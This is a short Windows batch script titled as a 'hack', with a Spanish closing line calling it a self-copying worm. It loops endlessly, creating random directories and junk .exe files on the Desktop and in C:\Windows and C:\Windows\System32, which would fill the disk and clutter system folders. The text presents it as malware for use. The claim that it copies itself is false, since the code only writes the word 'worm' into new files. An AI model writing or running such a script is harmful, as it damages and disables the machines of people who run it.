.:NEXVANCEX HACK:.

@echo off
:worm
cd \
cd %homepath%
cd escritorio
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
cd \
cd windows
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
cd system32
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
goto :worm

usarlo bien ee lo que hacer es copiarse a si mismo infinitas veces.